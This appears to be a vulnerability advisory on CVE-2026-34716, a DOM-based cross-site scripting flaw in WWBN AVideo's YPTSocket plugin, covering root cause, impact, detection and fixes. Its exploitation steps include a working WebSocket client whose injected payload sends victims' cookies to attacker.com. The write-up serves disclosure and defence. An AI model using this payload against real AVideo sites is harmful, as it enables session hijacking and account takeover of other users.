CVE-2026-34716: 
PHP vulnerability analysis and mitigation

CVE-2026-34716 is a DOM-based Cross-Site Scripting (XSS) vulnerability in WWBN AVideo's YPTSocket plugin that allows an authenticated attacker to execute arbitrary JavaScript in any connected user's browser without victim interaction. It affects WWBN AVideo versions 26.0 and prior. The vulnerability was published on March 30–31, 2026, with no patch available at the time of disclosure. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, GHSA-w4hp-w536-jg64).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a DOM-based variant. In plugin/YPTSocket/caller.js, the from_identification field from an incoming WebSocket JSON message is extracted at line 73 and passed directly as the heading parameter to the jQuery Toast Plugin at line 89. The jQuery Toast Plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes embedded HTML or script content. Critically, while the server-side User::setName() applies strip_tags() sanitization, the WebSocket server relays call messages as-is without validating the from_identification field, allowing a malicious client to bypass server-side sanitization entirely by sending a forged WebSocket message. A secondary injection vector exists where JSON.stringify(json) is embedded in a single-quoted onclick attribute, enabling attribute injection if any JSON field contains a single quote (GHSA-w4hp-w536-jg64).

Successful exploitation enables an authenticated attacker to execute arbitrary JavaScript in the browser of any user currently connected to the AVideo WebSocket server, with no victim interaction required beyond having an authenticated session. Consequences include session hijacking (stealing session cookies), account takeover (full platform control if the victim is an administrator), keylogging and credential theft via injected persistent scripts, and self-propagating worm behavior where the XSS payload can automatically call other online users and replicate itself. The scope change in the CVSS score reflects that the attacker's code executes in the victim's browser context, crossing security boundaries beyond the attacker's own session (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, providing concrete WebSocket payloads and step-by-step reproduction instructions (GHSA-w4hp-w536-jg64). The attack requires only low privileges (an authenticated account) and no victim interaction, making it particularly dangerous. Feedly's threat intelligence classifies the PoC confidence as high and confirms it is a real exploit. The EPSS score is approximately 0.024% (0.000430), indicating a low but non-zero probability of exploitation in the near term. There is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time (GitHub Advisory).

1. Reconnaissance: Identify a target AVideo instance running version 26.0 or earlier with the YPTSocket plugin active. Determine the WebSocket server address (typically port 8888, e.g., wss://target-avideo-instance.com:8888).
2. Obtain low-privilege credentials: Register or obtain any authenticated account on the target AVideo platform, as only low privileges are required.
3. Identify victim user ID: Determine the users_id of the target victim (e.g., via the platform's user directory or API).
4. Craft malicious WebSocket client: Write a custom WebSocket client that connects directly to the AVideo WebSocket server, bypassing the normal UI and its server-side strip_tags() sanitization:

const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
  ws.send(JSON.stringify({
    msg: 'call',
    from_users_id: 1,
    to_users_id: VICTIM_USER_ID,
    from_identification: '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>',
    resourceURL: 'https://your-avideo-instance.com/meet/123'
  }));
};

5. Trigger the call notification: Send the forged call message. The WebSocket server relays it to the victim without validating from_identification.
6. XSS executes on victim's browser: When the victim's browser receives the call notification, the jQuery Toast Plugin renders from_identification as raw HTML via .html(), executing the injected payload — stealing cookies, hijacking sessions, or performing further actions — with no victim click required (GHSA-w4hp-w536-jg64).

• Network: Unexpected WebSocket connections to the AVideo server on port 8888 from unfamiliar IP addresses or clients not matching the standard browser user-agent; outbound HTTP requests from victim browsers to external attacker-controlled domains (e.g., for cookie exfiltration).
• Logs: AVideo WebSocket server logs showing call messages with from_identification fields containing HTML tags (e.g., <img, <script, onerror=) or JavaScript URIs; unusual call events targeting multiple users in rapid succession.
• Browser/Client: Toast notification pop-ups appearing without a legitimate incoming call; unexpected JavaScript execution or network requests originating from the AVideo web page context.
• Application: User accounts with display names containing HTML or script tags (though the primary attack bypasses this via direct WebSocket messages); sudden session invalidations or unauthorized administrative actions following call notifications (GHSA-w4hp-w536-jg64).

No official patch was available at the time of publication for WWBN AVideo versions 26.0 and prior. The recommended code-level fix is to HTML-escape the userIdentification value before passing it to $.toast() in plugin/YPTSocket/caller.js:89 using: heading: $('<div>').text(userIdentification).html(). As interim workarounds, administrators should disable the YPTSocket plugin's caller/call notification feature if not in use, implement network-level controls (e.g., firewall rules) to restrict access to the WebSocket server on port 8888 to trusted users only, and monitor for display names or WebSocket messages containing HTML/script content. Users should upgrade to a patched version as soon as one becomes available (GHSA-w4hp-w536-jg64, GitHub Advisory).

The vulnerability was discovered and reported by aisafe.io (finder: aisafe-bot) and reported by adrgs, with the advisory published by DanielnetoDotCom on March 30, 2026 (GHSA-w4hp-w536-jg64). Red Hat has acknowledged the CVE in their security tracking (Red Hat CVE). No broader media coverage or notable community commentary beyond the advisory itself has been identified at this time.